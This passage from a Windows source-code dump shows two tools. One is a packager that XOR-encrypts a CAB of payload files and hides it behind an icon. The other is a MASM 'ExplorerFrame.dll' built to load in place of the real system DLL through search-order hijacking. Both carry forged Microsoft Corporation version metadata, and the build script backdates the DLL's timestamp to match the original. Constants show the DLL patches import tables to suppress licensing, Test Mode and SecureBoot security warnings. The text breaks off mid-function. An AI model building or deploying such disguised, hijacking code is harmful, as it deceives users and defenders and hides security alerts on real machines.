    auto cab_size_result = get_file_size_winapi(std::string(TEMP_CAB));
    if (!cab_size_result) {
        ColorGuard red(Color::Red);
        std::cout << "  X Cannot get CAB file size: " << cab_size_result.error() << "\n";
        return std::unexpected(cab_size_result.error());
    }

    {
        ColorGuard green(Color::Green);
        std::cout << "  + Created: " << TEMP_CAB << " (" << format_size_kb(cab_size_result.value()) << ")\n";
    }
#else
    ColorGuard red(Color::Red);
    std::cout << "  X CAB compression is only supported on Windows\n";
    return std::unexpected("CAB compression requires Windows Cabinet API");
#endif

    // Step 4: XOR encrypt the CAB file
    std::cout << "\n";
    {
        ColorGuard yellow(Color::Yellow);
        std::cout << "Step 4: XOR encrypting CAB file...\n";
    }

    auto cab_data_result = read_file_winapi(std::string(TEMP_CAB));
    if (!cab_data_result) {
        ColorGuard red(Color::Red);
        std::cout << "  X Failed to read CAB file: " << cab_data_result.error() << "\n";
        return std::unexpected(cab_data_result.error());
    }

    std::vector<uint8_t> encrypted_cab = std::move(cab_data_result.value());
    xor_data(encrypted_cab, XOR_KEY);

    {
        ColorGuard green(Color::Green);
        std::cout << "  + CAB file encrypted (" << encrypted_cab.size() << " bytes)\n";
    }

    // Step 5: Create final package with icon
    std::cout << "\n";
    {
        ColorGuard yellow(Color::Yellow);
        std::cout << "Step 5: Creating final package with icon...\n";
    }

    auto icon_result = read_file_winapi(config.icon_file);
    if (!icon_result) {
        ColorGuard red(Color::Red);
        std::cout << "  X Failed to read icon file: " << icon_result.error() << "\n";
        return std::unexpected(icon_result.error());
    }

    std::vector<uint8_t> final_package;
    final_package.reserve(icon_result->size() + encrypted_cab.size());
    final_package.insert(final_package.end(), icon_result->begin(), icon_result->end());
    final_package.insert(final_package.end(), encrypted_cab.begin(), encrypted_cab.end());

    auto final_write_result = write_file_winapi(config.output_file, final_package);
    if (!final_write_result) {
        ColorGuard red(Color::Red);
        std::cout << "  X Failed to create final package: " << final_write_result.error() << "\n";
        return std::unexpected(final_write_result.error());
    }

    {
        ColorGuard green(Color::Green);
        std::cout << "  + Final package created: " << config.output_file 
                  << " (" << format_size_kb(final_package.size()) << ")\n";
    }

    // Step 6: Cleanup temporary files
    std::cout << "\n";
    {
        ColorGuard yellow(Color::Yellow);
        std::cout << "Step 6: " << (keep_temp_files ? "Preserving" : "Cleaning up")
                  << " temporary files...\n";
    }

    std::vector<std::string_view> temp_files = { TEMP_EVTX, TEMP_CAB };
    if (keep_temp_files) {
        for (const auto& temp_file : temp_files) {
            if (file_exists_winapi(std::string(temp_file))) {
                ColorGuard green(Color::Green);
                std::cout << "  + Kept: " << temp_file << "\n";
            }
        }
    } else {
        for (const auto& temp_file : temp_files) {
            if (file_exists_winapi(std::string(temp_file))) {
                if (delete_file_winapi(std::string(temp_file))) {
                    ColorGuard green(Color::Green);
                    std::cout << "  + Removed: " << temp_file << "\n";
                } else {
                    ColorGuard yellow(Color::Yellow);
                    std::cout << "  ! Warning: Could not remove " << temp_file << "\n";
                }
            }
        }
    }

    // Final summary
    std::cout << "\n";
    {
        ColorGuard cyan(Color::Cyan);
        std::cout << "=== PACKAGING COMPLETED SUCCESSFULLY ===\n";
    }
    std::cout << "Output file: " << config.output_file << "\n";
    std::cout << "Total size: " << format_size_kb(final_package.size()) << "\n";
    std::cout << "Structure: [" << icon_result->size() << "-byte icon] + [XOR-encrypted CAB]\n";
    std::cout << "Breakdown:\n";
    std::cout << "  - Payload files: " << config.payload_files.size() << "\n";
    std::cout << "  - Payload container: " << concatenated_data.size() << " bytes\n";
    std::cout << "  - Icon: " << icon_result->size() << " bytes\n";
    std::cout << "  - Encrypted CAB: " << encrypted_cab.size() << " bytes\n";
    std::cout << "  - Temp files: " << (keep_temp_files ? "kept" : "removed") << "\n";
    {
        ColorGuard green(Color::Green);
        std::cout << "\nThe file is ready for embedding as a resource!\n";
    }

    return {};
}

int main(int argc, char* argv[]) {
    // Set console to UTF-8 mode
    SetConsoleOutputCP(CP_UTF8);
    SetConsoleCP(CP_UTF8);

    auto options_result = parse_command_line(argc, argv);
    if (!options_result) {
        if (!options_result.error().empty()) {
            ColorGuard red(Color::Red);
            std::cerr << "Error: " << options_result.error() << "\n";
            print_usage(argc > 0 ? argv[0] : "implementer.exe");
            return 1;
        }
        return 0;
    }

    const auto& options = options_result.value();

    std::cout << "Reading configuration from: " << options.config_file << "\n";
    if (options.keep_temp_files) {
        std::cout << "Keeping temporary files enabled (--keep-temp)\n";
    }

    auto config_result = read_config(options.config_file);
    if (!config_result) {
        ColorGuard red(Color::Red);
        std::cerr << "Error: " << config_result.error() << "\n";
        return 1;
    }

    auto result = package_files(config_result.value(), options.keep_temp_files);
    if (!result) {
        ColorGuard red(Color::Red);
        std::cerr << "\nError: " << result.error() << "\n";
        return 1;
    }

    return 0;
}

<<<FILE: Implementer/implementer.rc>>>
Created:  2026-02-27 12:50:26
Modified: 2026-04-09 21:04:44
Size:     2.34 KB
#pragma code_page(65001)
// Microsoft Visual C++ generated resource script.
// implementer.exe Resource File - Microsoft Corporation branding
//
#include "resource.h"

#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "winres.h"

/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS

/////////////////////////////////////////////////////////////////////////////
// English (United States) resources

#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US

/////////////////////////////////////////////////////////////////////////////
//
// Icon
//

IDI_ICON1               ICON                    "ICON\\kvc.ico"

/////////////////////////////////////////////////////////////////////////////
//
// Version Information - Microsoft Corporation branding
//

VS_VERSION_INFO VERSIONINFO
 FILEVERSION 10,0,26800,6317
 PRODUCTVERSION 10,0,26800,6317
 FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
 FILEFLAGS 0x1L
#else
 FILEFLAGS 0x0L
#endif
 FILEOS 0x40004L
 FILETYPE 0x1L          // VFT_APP - Application file type
 FILESUBTYPE 0x0L
BEGIN
    BLOCK "StringFileInfo"
    BEGIN
        BLOCK "040904b0"
        BEGIN
            VALUE "CompanyName", "Microsoft Corporation"
            VALUE "FileDescription", "Windows System Utility"
            VALUE "FileVersion", "10.0.26800.6317"
            VALUE "InternalName", "implementer.exe"
            VALUE "LegalCopyright", "© Microsoft Corporation. All rights reserved."
            VALUE "OriginalFilename", "implementer.exe"
            VALUE "ProductName", "Microsoft® Windows® Operating System"
            VALUE "ProductVersion", "10.0.26800.6317"
        END
    END
    BLOCK "VarFileInfo"
    BEGIN
        VALUE "Translation", 0x409, 1200
    END
END

#endif    // English (United States) resources
/////////////////////////////////////////////////////////////////////////////

#ifndef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 3 resource.
//

/////////////////////////////////////////////////////////////////////////////
#endif    // not APSTUDIO_INVOKED

<<<FILE: Implementer/implementer.vcxproj>>>
Created:  2026-02-27 12:50:26
Modified: 2026-04-04 22:54:22
Size:     3.91 KB
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup Label="ProjectConfigurations">
    <ProjectConfiguration Include="Release|x64">
      <Configuration>Release</Configuration>
      <Platform>x64</Platform>
    </ProjectConfiguration>
  </ItemGroup>
  <PropertyGroup Label="Globals">
    <VCProjectVersion>17.0</VCProjectVersion>
    <Keyword>Win32Proj</Keyword>
    <ProjectGuid>{00000000-0000-0000-0000-000000000001}</ProjectGuid>
    <RootNamespace>implementer</RootNamespace>
    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
    <ConfigurationType>Application</ConfigurationType>
    <UseDebugLibraries>false</UseDebugLibraries>
    <PlatformToolset>v145</PlatformToolset>
    <WholeProgramOptimization>true</WholeProgramOptimization>
    <CharacterSet>Unicode</CharacterSet>
    <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
  <ImportGroup Label="ExtensionSettings" />
  <ImportGroup Label="Shared" />
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <PropertyGroup Label="UserMacros" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <LinkIncremental>false</LinkIncremental>
    <OutDir>$(SolutionDir)bin\</OutDir>
    <IntDir>$(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\</IntDir>
    <TargetName>implementer</TargetName>
  </PropertyGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <FunctionLevelLinking>true</FunctionLevelLinking>
      <IntrinsicFunctions>true</IntrinsicFunctions>
      <SDLCheck>true</SDLCheck>
      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>true</ConformanceMode>
    </ClCompile>
    <Link>
      <SubSystem>Console</SubSystem>
      <GenerateDebugInformation>false</GenerateDebugInformation>
    </Link>
  </ItemDefinitionGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <FunctionLevelLinking>true</FunctionLevelLinking>
      <IntrinsicFunctions>true</IntrinsicFunctions>
      <SDLCheck>true</SDLCheck>
      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>true</ConformanceMode>
      <LanguageStandard>stdcpplatest</LanguageStandard>
      <AdditionalIncludeDirectories>$(SolutionDir)kvc;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
      <AdditionalOptions>/utf-8 /Gy /Gw /Brepro %(AdditionalOptions)</AdditionalOptions>
    </ClCompile>
    <Link>
      <SubSystem>Console</SubSystem>
      <GenerateDebugInformation>false</GenerateDebugInformation>
    </Link>
    <ResourceCompile>
      <AdditionalIncludeDirectories>$(SolutionDir)kvc;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
    </ResourceCompile>
  </ItemDefinitionGroup>
  <ItemGroup>
    <ClCompile Include="implementer.cpp" />
  </ItemGroup>
  <ItemGroup>
    <ClInclude Include="..\kvc\resource.h" />
  </ItemGroup>
  <ItemGroup>
    <ResourceCompile Include="implementer.rc" />
  </ItemGroup>
  <ItemGroup>
    <Image Include="..\kvc\ICON\kvc.ico" />
  </ItemGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
  <ImportGroup Label="ExtensionTargets" />
</Project>

<<<FILE: Implementer/implementer.vcxproj.filters>>>
Created:  2026-02-27 12:50:26
Modified: 2026-04-04 22:40:02
Size:     1.33 KB
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup>
    <Filter Include="Source Files">
      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
    </Filter>
    <Filter Include="Header Files">
      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
    </Filter>
    <Filter Include="Resource Files">
      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
    </Filter>
  </ItemGroup>
  <ItemGroup>
    <ClCompile Include="implementer.cpp">
      <Filter>Source Files</Filter>
    </ClCompile>
  </ItemGroup>
  <ItemGroup>
    <ClInclude Include="..\kvc\resource.h">
      <Filter>Header Files</Filter>
    </ClInclude>
  </ItemGroup>
  <ItemGroup>
    <ResourceCompile Include="implementer.rc">
      <Filter>Resource Files</Filter>
    </ResourceCompile>
  </ItemGroup>
  <ItemGroup>
    <Image Include="..\kvc\ICON\kvc.ico">
      <Filter>Resource Files</Filter>
    </Image>
  </ItemGroup>
</Project>

<<<FILE: kvc_ef/build.ps1>>>
Created:  2026-05-20 12:37:37
Modified: 2026-05-19 16:14:44
Size:     5.34 KB
$ErrorActionPreference = "Stop"
$ScriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path

Write-Host "============================================" -ForegroundColor Cyan
Write-Host "Building ExplorerFrame DLL (x64 MASM)"     -ForegroundColor Cyan
Write-Host "============================================" -ForegroundColor Cyan

$VSBASE  = "C:\Program Files\Microsoft Visual Studio\18\Enterprise\VC\Tools\MSVC\14.50.35717\bin\Hostx64"
$ML64    = "$VSBASE\x64\ml64.exe"
$LINK64  = "$VSBASE\x64\link.exe"
$DUMPBIN = "$VSBASE\x64\dumpbin.exe"

$SDKBASE    = "C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0"
$SDKBIN     = "C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\x64"
$SDKINCLUDE = "C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0"
$LIBPATH    = "$SDKBASE\um\x64"

$env:PATH    += ";$SDKBIN"
$env:INCLUDE  = "$SDKINCLUDE\um;$SDKINCLUDE\shared"

$OUTDIR = Join-Path $ScriptDir "bin"
if (-not (Test-Path $OUTDIR)) { New-Item -ItemType Directory -Path $OUTDIR | Out-Null }

$BuildSuccess = $true

# Assembly modules (order matters: strutil before others that call it)
$FILES = @("strutil", "patterns", "intercept", "patch", "forward", "main")

Push-Location $ScriptDir

# Compile resource
Write-Host ""
Write-Host ">>> Compiling resources..." -ForegroundColor Cyan
& rc /c65001 /I "$SDKINCLUDE\um" /I "$SDKINCLUDE\shared" /fo ef.res ef.rc
if ($LASTEXITCODE -ne 0) {
    Write-Host "ERROR: rc.exe failed" -ForegroundColor Red
    $BuildSuccess = $false
}

# Assemble each module
if ($BuildSuccess) {
    Write-Host ""
    Write-Host ">>> Assembling modules..." -ForegroundColor Cyan
    foreach ($f in $FILES) {
        Write-Host "    $f.asm" -ForegroundColor Gray
        & $ML64 /c /Cp /Cx /Zi /I x64 /Fo "x64\$f.obj" "x64\$f.asm"
        if ($LASTEXITCODE -ne 0) {
            Write-Host "ERROR: ml64 failed on $f.asm" -ForegroundColor Red
            $BuildSuccess = $false
            break
        }
    }
}

# Link
if ($BuildSuccess) {
    Write-Host ""
    Write-Host ">>> Linking..." -ForegroundColor Cyan

    $objs = $FILES | ForEach-Object { "x64\$_.obj" }

    $linkArgs = $objs + @(
        "ef.res",
        "/DLL",
        "/entry:DllMain",
        "/subsystem:windows",
        "/nodefaultlib",
        "/Brepro",
        "/out:bin\ExplorerFrame.dll",
        "/MANIFEST:EMBED",
        "/MANIFESTINPUT:ef.manifest",
        "/LIBPATH:$LIBPATH",
        "kernel32.lib",
        "user32.lib",
        "gdi32.lib",
        "/DEF:ef.def"
    )

    & $LINK64 $linkArgs
    if ($LASTEXITCODE -ne 0) {
        Write-Host "ERROR: link.exe failed" -ForegroundColor Red
        $BuildSuccess = $false
    }
}

# Verify import table
if ($BuildSuccess) {
    Write-Host ""
    Write-Host ">>> Verifying imports with dumpbin..." -ForegroundColor Cyan

    $dllPath = "bin\ExplorerFrame.dll"
    $imports = & $DUMPBIN /imports $dllPath
    $dependents = & $DUMPBIN /dependents $dllPath

    $blockedImportPatterns = @(
        "msvcr",
        "vcruntime",
        "ucrtbase",
        "rstrtmgr",
        "ole32",
        "combase",
        "shlwapi",
        "advapi32"
    )

    $blockedFound = $imports | Select-String ($blockedImportPatterns -join "|")
    if ($blockedFound) {
        $blockedFound | ForEach-Object { Write-Host "ERROR: blocked import detected: $_" -ForegroundColor Red }
        $BuildSuccess = $false
    } else {
        Write-Host "[PASS] No CRT, COM, Restart Manager, registry, or helper-library imports" -ForegroundColor Green
    }

    $allowedDlls = @(
        "GDI32.dll",
        "KERNEL32.dll",
        "USER32.dll"
    )

    $actualDlls = $dependents |
        ForEach-Object {
            if ($_ -match "^\s*([A-Za-z0-9_.-]+\.dll)\s*$") {
                $matches[1]
            }
        } |
        Sort-Object -Unique

    $unexpectedDlls = $actualDlls | Where-Object { $allowedDlls -notcontains $_ }
    if ($unexpectedDlls) {
        $unexpectedDlls | ForEach-Object { Write-Host "ERROR: unexpected dependent DLL: $_" -ForegroundColor Red }
        $BuildSuccess = $false
    } else {
        Write-Host "[PASS] Dependent DLL set is expected" -ForegroundColor Green
    }

    Write-Host "      Dependents: $($actualDlls -join ', ')" -ForegroundColor Gray

    if ($BuildSuccess) {
        Write-Host "[PASS] Import verification complete" -ForegroundColor Green
    }
}

# Set timestamp to 2026-01-01 to match original
if ($BuildSuccess) {
    $out = "bin\ExplorerFrame.dll"
    $ts  = Get-Date "2026-01-01 00:00:00"
    (Get-Item $out).CreationTime  = $ts
    (Get-Item $out).LastWriteTime = $ts
    Write-Host "Timestamp set: 2026-01-01 00:00:00" -ForegroundColor Cyan
}

Pop-Location

# Cleanup
Write-Host ""
Write-Host ">>> Cleaning intermediates..." -ForegroundColor Yellow
Remove-Item "$ScriptDir\x64\*.obj" -ErrorAction SilentlyContinue
Remove-Item "$ScriptDir\*.res"     -ErrorAction SilentlyContinue

Write-Host ""
if ($BuildSuccess) {
    Write-Host "============================================" -ForegroundColor Green
    Write-Host "STATUS: SUCCESS  →  ef\bin\ExplorerFrame.dll" -ForegroundColor Green
    Write-Host "============================================" -ForegroundColor Green
    exit 0
} else {
    Write-Host "============================================" -ForegroundColor Red
    Write-Host "STATUS: FAILED"                              -ForegroundColor Red
    Write-Host "============================================" -ForegroundColor Red
    exit 1
}

<<<FILE: kvc_ef/ef.def>>>
Created:  2026-05-20 12:37:37
Modified: 2026-05-19 01:39:20
Size:     0.09 KB
LIBRARY ExplorerFrame

EXPORTS
    DllGetClassObject   PRIVATE
    DllCanUnloadNow     PRIVATE

<<<FILE: kvc_ef/ef.manifest>>>
Created:  2026-05-20 12:37:37
Modified: 2026-05-19 01:18:46
Size:     0.54 KB
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <assemblyIdentity
    type="win32"
    name="ExplorerFrame"
    version="10.0.26200.8460"
    processorArchitecture="amd64"/>
  <description>Windows Shell Explorer Frame</description>
  <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
    <application>
      <!-- Windows 10 / Windows 11 -->
      <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
    </application>
  </compatibility>
</assembly>

<<<FILE: kvc_ef/ef.rc>>>
Created:  2026-05-20 12:37:37
Modified: 2026-05-19 08:18:56
Size:     0.9 KB
#pragma code_page(65001)
#include <windows.h>

LANGUAGE 9, 1

VS_VERSION_INFO VERSIONINFO
  FILEVERSION    10,0,26200,8460
  PRODUCTVERSION 10,0,26200,8460
  FILEFLAGSMASK  0x3fL
  FILEFLAGS      0x0L
  FILEOS         VOS_NT_WINDOWS32
  FILETYPE       VFT_DLL
  FILESUBTYPE    0x0L
BEGIN
  BLOCK "StringFileInfo"
  BEGIN
    BLOCK "040904b0"
    BEGIN
      VALUE "CompanyName",      "Microsoft Corporation"
      VALUE "FileDescription",  "Windows Shell Explorer Frame"
      VALUE "FileVersion",      "10.0.26200.8460"
      VALUE "InternalName",     "ExplorerFrame.dll"
      VALUE "LegalCopyright",   "© Microsoft Corporation. All rights reserved."
      VALUE "OriginalFilename", "ExplorerFrame.dll"
      VALUE "ProductName",      "Microsoft® Windows® Operating System"
      VALUE "ProductVersion",   "10.0.26200.8460"
    END
  END
  BLOCK "VarFileInfo"
  BEGIN
    VALUE "Translation", 0x409, 1200
  END
END

<<<FILE: kvc_ef/x64/consts.inc>>>
Created:  2026-05-20 12:37:37
Modified: 2026-05-19 19:56:02
Size:     5.12 KB
; ==============================================================================
; ExplorerFrame DLL - Constants and PE Structure Field Offsets
; Windows x64 watermark suppression
; ==============================================================================

; DLL notification codes
DLL_PROCESS_DETACH              equ 0
DLL_PROCESS_ATTACH              equ 1

; VirtualProtect page protection flags
PAGE_READWRITE                  equ 004h
PAGE_EXECUTE_READWRITE          equ 040h

; HeapAlloc flags
HEAP_ZERO_MEMORY                equ 008h

; Branding pattern configuration
BRANDING_PATTERN_COUNT          equ 14      ; 1 winbrand slot + 13 shell32 slots
SHELL32_PATTERN_COUNT           equ 13      ; BRANDING_PATTERN_COUNT - 1
WILDCARD_MARKER                 equ 025h    ; L'%'

; LoadStringW resource IDs to block (shell32 activation watermarks, Windows 7/8/early 10)
; These IDs no longer exist in shell32.dll on Windows 10 build 28000+.
; Kept for compatibility with older Windows versions.
BLOCKED_RESOURCE_ID_1           equ 62000
BLOCKED_RESOURCE_ID_2           equ 62001

; ==============================================================================
; Shell32.dll watermark resource IDs (loaded into patterns[1..13])
; Verified present on Windows 10 Pro Build 28000.2113
; ==============================================================================

SHELL32_ID_0                    equ 33088   ; "Test Mode"
SHELL32_ID_1                    equ 33089   ; "Safe Mode"
SHELL32_ID_2                    equ 33108   ; "%ws Build %ws"
SHELL32_ID_3                    equ 33109   ; "Evaluation copy."
SHELL32_ID_4                    equ 33111   ; "This copy of Windows is licensed for "
SHELL32_ID_5                    equ 33117   ; "SecureBoot isn't configured correctly"
SHELL32_ID_6                    equ 33094   ; "Device Under Test"
SHELL32_ID_7                    equ 33110   ; "For testing purposes only."
SHELL32_ID_8                    equ 33112   ; "Windows License is expired"
SHELL32_ID_9                    equ 33118   ; "This PC isn't set up securely—data may be at risk."
SHELL32_ID_10                   equ 33120   ; "This PC isn't secure"
SHELL32_ID_11                   equ 33121   ; "Secure boot is disabled. This PC isn't set up for retail use..."
SHELL32_ID_12                   equ 33123   ; "System requirements not met. Go to Settings to learn more"

; Pattern buffer sizes in WCHARs (one entry per pattern slot)
PBUFSZ_0                        equ 128     ; patterns[0]:  winbrand  "Windows 11 Pro"
PBUFSZ_1                        equ 32      ; patterns[1]:  33088     "Test Mode"
PBUFSZ_2                        equ 32      ; patterns[2]:  33089     "Safe Mode"
PBUFSZ_3                        equ 128     ; patterns[3]:  33108     "%ws Build %ws"
PBUFSZ_4                        equ 32      ; patterns[4]:  33109     "Evaluation copy."
PBUFSZ_5                        equ 64      ; patterns[5]:  33111     "This copy of Windows is licensed for "
PBUFSZ_6                        equ 64      ; patterns[6]:  33117     "SecureBoot isn't configured correctly"
PBUFSZ_7                        equ 32      ; patterns[7]:  33094     "Device Under Test"
PBUFSZ_8                        equ 32      ; patterns[8]:  33110     "For testing purposes only."
PBUFSZ_9                        equ 32      ; patterns[9]:  33112     "Windows License is expired"
PBUFSZ_10                       equ 64      ; patterns[10]: 33118     "This PC isn't set up securely—data may be at risk."
PBUFSZ_11                       equ 32      ; patterns[11]: 33120     "This PC isn't secure"
PBUFSZ_12                       equ 160     ; patterns[12]: 33121     long SecureBoot disabled text (~144 chars)
PBUFSZ_13                       equ 64      ; patterns[13]: 33123     "System requirements not met. Go to Settings to learn more"

; BrandingLoadString component ID  (winbrand.dll "Basebrd", id=12 → "Windows 11 Pro")
BRANDING_COMPONENT_ID           equ 12

; PE header field offsets used during IAT patching
; IMAGE_DOS_HEADER
IMDOS_e_lfanew                  equ 60

; Within IMAGE_NT_HEADERS64:
;   Signature       at offset 0   (4 bytes)
;   FileHeader      at offset 4   (20 bytes)
;   OptionalHeader  at offset 24
;     DataDirectory[0] at OptionalHeader+112
;     DataDirectory[1] (Import) at OptionalHeader+120
;     DataDirectory[13] (Delay Import) at OptionalHeader+216
; So DataDirectory[1].VirtualAddress  = 24+120 = 144
;    DataDirectory[13].VirtualAddress = 24+216 = 240
IMNT_ImportDirectory_VA         equ 144
IMNT_DelayImportDirectory_VA    equ 240

; IMAGE_IMPORT_DESCRIPTOR field offsets (20 bytes total per entry)
IMID_OriginalFirstThunk         equ 0
IMID_Name                       equ 12
IMID_FirstThunk                 equ 16
IMID_SIZE                       equ 20

; IMAGE_DELAYLOAD_DESCRIPTOR (ImgDelayDescr) field offsets (32 bytes per entry)
; grAttrs  = 1 means all RVA fields are RVAs (modern, non-legacy)
IMDD_Name                       equ 4   ; rvaDLLName  (DWORD RVA)
IMDD_IAT                        equ 12  ; rvaIAT      (DWORD RVA of delay IAT array)
IMDD_INT                        equ 16  ; rvaINT      (DWORD RVA of delay INT / import name table)
IMDD_SIZE                       equ 32

<<<FILE: kvc_ef/x64/forward.asm>>>
Created:  2026-05-20 12:37:37
Modified: 2026-05-19 01:36:04
Size:     6.77 KB
; ==============================================================================
; ExplorerFrame DLL - COM Entry Point Forwarding Thunks
;
; Author: Marek Wesołowski (wesmar)
; Purpose: Exports DllGetClassObject and DllCanUnloadNow, which are required
;          by COM when our DLL is loaded in place of the system explorerframe.dll
;          (e.g., via DLL search-order hijacking). On first COM call, loads the
;          real System32\explorerframe.dll using the full path obtained from
;          GetSystemDirectoryW, then delegates via tail call.
; ==============================================================================

option casemap:none

include consts.inc

EXTRN GetSystemDirectoryW   :PROC
EXTRN LoadLibraryW          :PROC
EXTRN GetProcAddress        :PROC

E_FAIL                      equ 80004005h   ; generic COM failure HRESULT

; ==============================================================================
; INITIALIZED DATA
; ==============================================================================
.data
    align 8

g_hRealModule   dq 0        ; HMODULE to System32\explorerframe.dll (lazy-loaded)
g_pfnDllGetCO   dq 0        ; DllGetClassObject pointer
g_pfnDllCanUN   dq 0        ; DllCanUnloadNow pointer

; ==============================================================================
; CONSTANT STRINGS
; ==============================================================================
.const

; Filename appended to system dir (starts with backslash)
str_expframe_dll    dw '\','e','x','p','l','o','r','e','r','f','r','a','m','e','.','d','l','l',0

; ASCII proc names for GetProcAddress
str_DllGetCO        db 'DllGetClassObject',0
str_DllCanUN        db 'DllCanUnloadNow',0

; ==============================================================================
; UNINITIALIZED DATA
; ==============================================================================
.data?
    align 2

; Buffer for GetSystemDirectoryW + "\explorerframe.dll" (300 WCHARs = 600 bytes)
g_sysDirBuf     dw 300 dup(?)

; ==============================================================================
; CODE
; ==============================================================================
.code

; ==============================================================================
; EnsureRealModule - Lazy-load System32\explorerframe.dll
;
; Builds full path via GetSystemDirectoryW, calls LoadLibraryW, then resolves
; both COM function pointers. Idempotent: returns immediately if already done.
;
; No parameters. Returns EAX = 1 on success, 0 on failure.
;
; Non-volatile saved: rbx, rsi, rdi
; 3 pushes (odd) → rsp%16=0; sub 20h → rsp%16=0 ✓
; ==============================================================================
EnsureRealModule proc
    push    rbx
    push    rsi
    push    rdi
    sub     rsp, 20h

    ; Already initialized?
    cmp     qword ptr [g_hRealModule], 0
    jne     @erm_resolve_ptrs

    ; GetSystemDirectoryW(buf, 260) → char count (without null)
    lea     rcx, g_sysDirBuf
    mov     edx, 260
    call    GetSystemDirectoryW
    test    eax, eax
    jz      @erm_fail

    ; Append \explorerframe.dll at end of system dir string
    movsxd  rbx, eax                   ; rbx = char count of sys dir
    lea     rdi, g_sysDirBuf
    lea     rdi, [rdi + rbx*2]         ; rdi → where null terminator is
    lea     rsi, str_expframe_dll

@erm_cat:
    mov     ax, word ptr [rsi]
    mov     word ptr [rdi], ax
    test    ax, ax
    jz      @erm_load
    add     rsi, 2
    add     rdi, 2
    jmp     @erm_cat

@erm_load:
    ; LoadLibraryW(full_path) - full path bypasses search order
    ; so we always get the System32 copy, not ourselves again
    lea     rcx, g_sysDirBuf
    call    LoadLibraryW
    test    rax, rax
    jz      @erm_fail
    mov     qword ptr [g_hRealModule], rax

@erm_resolve_ptrs:
    ; Resolve DllGetClassObject
    cmp     qword ptr [g_pfnDllGetCO], 0
    jne     @erm_check_canun
    mov     rcx, qword ptr [g_hRealModule]
    lea     rdx, str_DllGetCO
    call    GetProcAddress
    mov     qword ptr [g_pfnDllGetCO], rax

@erm_check_canun:
    ; Resolve DllCanUnloadNow
    cmp     qword ptr [g_pfnDllCanUN], 0
    jne     @erm_ok
    mov     rcx, qword ptr [g_hRealModule]
    lea     rdx, str_DllCanUN
    call    GetProcAddress
    mov     qword ptr [g_pfnDllCanUN], rax

@erm_ok:
    mov     eax, 1
    add     rsp, 20h
    pop     rdi
    pop     rsi
    pop     rbx
    ret

@erm_fail:
    xor     eax, eax
    add     rsp, 20h
    pop     rdi
    pop     rsi
    pop     rbx
    ret
EnsureRealModule endp

; ==============================================================================
; DllGetClassObject - COM class factory entry point
;
; RCX = rclsid (REFCLSID)
; RDX = riid (REFIID)
; R8  = ppv (LPVOID*)
;
; Returns HRESULT in EAX.
; On success: tail-calls real DllGetClassObject with params intact.
;
; Non-volatile saved: rbx, r12, r13
; 3 pushes (odd) → rsp%16=0; sub 20h → rsp%16=0 ✓
; ==============================================================================
PUBLIC DllGetClassObject
DllGetClassObject proc
    push    rbx
    push    r12
    push    r13
    sub     rsp, 20h

    ; Save incoming COM parameters across EnsureRealModule call
    mov     rbx, rcx                    ; rbx = rclsid
    mov     r12, rdx                    ; r12 = riid
    mov     r13, r8                     ; r13 = ppv

    call    EnsureRealModule
    test    eax, eax
    jz      @dgco_fail

